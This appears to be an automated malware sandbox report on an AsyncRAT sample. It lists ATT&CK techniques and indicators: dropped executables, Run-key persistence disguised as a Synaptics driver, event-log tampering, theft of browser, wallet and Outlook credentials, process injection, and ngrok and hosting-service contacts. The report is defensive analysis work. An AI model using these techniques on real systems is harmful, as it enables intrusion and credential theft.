asyncrat | 672ad2d52af206cc63cebe2c801181d3b406aae5891cc57bdaafd5eea3d61fe6

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	._cache_New Text Document mod.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	New Text Document mod.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	._cache_New Text Document mod.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	New Text Document mod.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	._cache_Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	gem1.exe

Executes dropped EXE 13 IoCs

pid	Process
4636	New Text Document mod.exe
2436	._cache_New Text Document mod.exe
2380	Synaptics.exe
5276	._cache_Synaptics.exe
5204	build.exe
6008	New Text Document mod.exe
6080	._cache_New Text Document mod.exe
2888	voidware_loader.exe
4260	DirectX111.exe
2024	gem1.exe
5628	gem1.exe
5448	gem2.exe
3804	Lightshot.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Setup.evtx	svchost.exe

Loads dropped DLL 4 IoCs

pid	Process
2380	Synaptics.exe
2380	Synaptics.exe
6008	New Text Document mod.exe
6008	New Text Document mod.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gem1.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gem1.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gem1.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gem1.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	gem1.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver = "C:\\ProgramData\\Synaptics\\Synaptics.exe"	New Text Document mod.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 20 IoCs

Web Service

T1102

flow	ioc
674	raw.githubusercontent.com
88	drive.google.com
415	drive.google.com
566	raw.githubusercontent.com
607	raw.githubusercontent.com
385	drive.google.com
567	0.tcp.in.ngrok.io
788	raw.githubusercontent.com
822	0.tcp.in.ngrok.io
89	drive.google.com
357	raw.githubusercontent.com
756	raw.githubusercontent.com
763	drive.google.com
549	raw.githubusercontent.com
565	raw.githubusercontent.com
1260	0.tcp.in.ngrok.io
86	drive.google.com
90	drive.google.com
356	raw.githubusercontent.com
484	drive.google.com

Looks up external IP address via web service 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
650	api.ipify.org
868	ip-api.com
440	api.ipify.org
441	api.ipify.org
589	ip-api.com

Power Settings 1 TTPs 28 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5288	powercfg.exe
10020	powercfg.exe
3332	powercfg.exe
5740	powercfg.exe
5224	powercfg.exe
2852	powercfg.exe
4996	cmd.exe
4392	powercfg.exe
5796	powercfg.exe
7680	powercfg.exe
6516	powercfg.exe
6492	powercfg.exe
6248	powercfg.exe
3972	powercfg.exe
4544	powercfg.exe
10208	powercfg.exe
11060	powercfg.exe
10412	powercfg.exe
6488	powercfg.exe
6504	powercfg.exe
3152	powercfg.exe
6652	powercfg.exe
4872	powercfg.exe
5056	powercfg.exe
6700	powercfg.exe
2732	powercfg.exe
224	powercfg.exe
8504	powercfg.exe

Program crash 12 IoCs

pid	pid_target	Process	procid_target
5700	2024	WerFault.exe	161
8888	8296	WerFault.exe	403
8836	4928	WerFault.exe	399
3372	8936	WerFault.exe	417
8892	8500	WerFault.exe	407
9088	9332	WerFault.exe
9988	9548	WerFault.exe	585
8676	10936	WerFault.exe
7480	10936	WerFault.exe	705
8708	9204	WerFault.exe	731
2932	8608	WerFault.exe	461
3680	3080	WerFault.exe	769

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	gem2.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2024 set thread context of 5628	2024	gem1.exe	163
PID 5448 set thread context of 3828	5448	gem2.exe	192

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001e9c2-3434.dat	upx
behavioral2/memory/6452-3436-0x00007FF661870000-0x00007FF661887000-memory.dmp	upx
behavioral2/memory/6452-3482-0x00007FF661870000-0x00007FF661887000-memory.dmp	upx
behavioral2/memory/8188-7168-0x00007FFB33BF0000-0x00007FFB34255000-memory.dmp	upx
behavioral2/memory/8188-7475-0x00007FFB33BF0000-0x00007FFB34255000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

Launches sc.exe 36 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
9988	sc.exe
4340	sc.exe
7340	sc.exe
6848	sc.exe
10464	sc.exe
4132	sc.exe
6748	sc.exe
1160	sc.exe
11096	sc.exe
1248	sc.exe
4516	sc.exe
5188	sc.exe
5744	sc.exe
5796	sc.exe
6680	sc.exe
2856	sc.exe
10828	sc.exe
5676	sc.exe
9824	sc.exe
2692	sc.exe
6172	sc.exe
6568	sc.exe
2524	sc.exe
5668	sc.exe
10696	sc.exe
3992	sc.exe
2852	sc.exe
9340	sc.exe
736	sc.exe
6768	sc.exe
6620	sc.exe
6800	sc.exe
6172	sc.exe
10956	sc.exe
4868	sc.exe
4196	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	build.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	New Text Document mod.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gem1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gem1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	New Text Document mod.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 8 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5756	PING.EXE
4788	PING.EXE
2748	PING.EXE
8392	PING.EXE
6600	PING.EXE
4264	cmd.exe
4616	PING.EXE
1224	PING.EXE

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x0007000000023e28-6650.dat	nsis_installer_1
behavioral2/files/0x0007000000023e28-6650.dat	nsis_installer_2

Checks processor information in registry 2 TTPs 23 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Kills process with taskkill 2 IoCs

evasion

pid	Process
5132	taskkill.exe
11116	taskkill.exe

Modifies data under HKEY_USERS 46 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 44003100000000002d5a6b8c10006100340009000400efbe2d5a6a8c2d5a6b8c2e000000eee001000000030000000000000000000000000000001a7a1c006100000010000000	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\NodeSlot = "2"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0000000001000000ffffffff	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	firefox.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	New Text Document mod.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic"	firefox.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	firefox.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	firefox.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	firefox.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	firefox.exe
